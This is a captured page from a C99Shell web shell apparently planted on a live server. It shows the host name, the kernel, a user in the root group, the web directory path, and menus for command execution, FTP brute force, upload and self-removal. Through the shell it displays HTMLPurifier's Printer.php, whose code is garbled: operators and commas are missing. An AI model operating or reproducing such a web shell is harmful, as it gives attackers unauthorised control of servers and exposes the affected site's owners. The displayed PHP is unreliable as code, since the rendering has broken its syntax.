!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/ezyang/htmlpurifier/library/HTMLPurifier/   drwxr-xr-x
Free 28.57 GB of 117.98 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Printer.php (5.76 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

// OUT OF DATE, NEEDS UPDATING!
// USE XMLWRITER!

class HTMLPurifier_Printer
{

    
/**
     * For HTML generation convenience funcs.
     * @type HTMLPurifier_Generator
     */
    
protected $generator;

    
/**
     * For easy access.
     * @type HTMLPurifier_Config
     */
    
protected $config;

    
/**
     * Initialize $generator.
     */
    
public function __construct()
    {
    }

    
/**
     * Give generator necessary configuration if possible
     * @param HTMLPurifier_Config $config
     */
    
public function prepareGenerator($config)
    {
        
$all $config->getAll();
        
$context = new HTMLPurifier_Context();
        
$this->generator = new HTMLPurifier_Generator($config$context);
    }

    
/**
     * Main function that renders object or aspect of that object
     * @note Parameters vary depending on printer
     */
    // function render() {}

    /**
     * Returns a start tag
     * @param string $tag Tag name
     * @param array $attr Attribute array
     * @return string
     */
    
protected function start($tag$attr = array())
    {
        return 
$this->generator->generateFromToken(
            new 
HTMLPurifier_Token_Start($tag$attr $attr : array())
        );
    }

    
/**
     * Returns an end tag
     * @param string $tag Tag name
     * @return string
     */
    
protected function end($tag)
    {
        return 
$this->generator->generateFromToken(
            new 
HTMLPurifier_Token_End($tag)
        );
    }

    
/**
     * Prints a complete element with content inside
     * @param string $tag Tag name
     * @param string $contents Element contents
     * @param array $attr Tag attributes
     * @param bool $escape whether or not to escape contents
     * @return string
     */
    
protected function element($tag$contents$attr = array(), $escape true)
    {
        return 
$this->start($tag$attr) .
            (
$escape $this->escape($contents) : $contents) .
            
$this->end($tag);
    }

    
/**
     * @param string $tag
     * @param array $attr
     * @return string
     */
    
protected function elementEmpty($tag$attr = array())
    {
        return 
$this->generator->generateFromToken(
            new 
HTMLPurifier_Token_Empty($tag$attr)
        );
    }

    
/**
     * @param string $text
     * @return string
     */
    
protected function text($text)
    {
        return 
$this->generator->generateFromToken(
            new 
HTMLPurifier_Token_Text($text)
        );
    }

    
/**
     * Prints a simple key/value row in a table.
     * @param string $name Key
     * @param mixed $value Value
     * @return string
     */
    
protected function row($name$value)
    {
        if (
is_bool($value)) {
            
$value $value 'On' 'Off';
        }
        return
            
$this->start('tr') . "\n" .
            
$this->element('th'$name) . "\n" .
            
$this->element('td'$value) . "\n" .
            
$this->end('tr');
    }

    
/**
     * Escapes a string for HTML output.
     * @param string $string String to escape
     * @return string
     */
    
protected function escape($string)
    {
        
$string HTMLPurifier_Encoder::cleanUTF8($string);
        
$string htmlspecialchars($stringENT_COMPAT'UTF-8');
        return 
$string;
    }

    
/**
     * Takes a list of strings and turns them into a single list
     * @param string[] $array List of strings
     * @param bool $polite Bool whether or not to add an end before the last
     * @return string
     */
    
protected function listify($array$polite false)
    {
        if (empty(
$array)) {
            return 
'None';
        }
        
$ret '';
        
$i count($array);
        foreach (
$array as $value) {
            
$i--;
            
$ret .= $value;
            if (
$i && !($polite && $i == 1)) {
                
$ret .= ', ';
            }
            if (
$polite && $i == 1) {
                
$ret .= 'and ';
            }
        }
        return 
$ret;
    }

    
/**
     * Retrieves the class of an object without prefixes, as well as metadata
     * @param object $obj Object to determine class of
     * @param string $sec_prefix Further prefix to remove
     * @return string
     */
    
protected function getClass($obj$sec_prefix '')
    {
        static 
$five null;
        if (
$five === null) {
            
$five version_compare(PHP_VERSION'5''>=');
        }
        
$prefix 'HTMLPurifier_' $sec_prefix;
        if (!
$five) {
            
$prefix strtolower($prefix);
        }
        
$class str_replace($prefix''get_class($obj));
        
$lclass strtolower($class);
        
$class .= '(';
        switch (
$lclass) {
            case 
'enum':
                
$values = array();
                foreach (
$obj->valid_values as $value => $bool) {
                    
$values[] = $value;
                }
                
$class .= implode(', '$values);
                break;
            case 
'css_composite':
                
$values = array();
                foreach (
$obj->defs as $def) {
                    
$values[] = $this->getClass($def$sec_prefix);
                }
                
$class .= implode(', '$values);
                break;
            case 
'css_multiple':
                
$class .= $this->getClass($obj->single$sec_prefix) . ', ';
                
$class .= $obj->max;
                break;
            case 
'css_denyelementdecorator':
                
$class .= $this->getClass($obj->def$sec_prefix) . ', ';
                
$class .= $obj->element;
                break;
            case 
'css_importantdecorator':
                
$class .= $this->getClass($obj->def$sec_prefix);
                if (
$obj->allow) {
                    
$class .= ', !important';
                }
                break;
        }
        
$class .= ')';
        return 
$class;
    }
}

// vim: et sw=4 sts=4

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--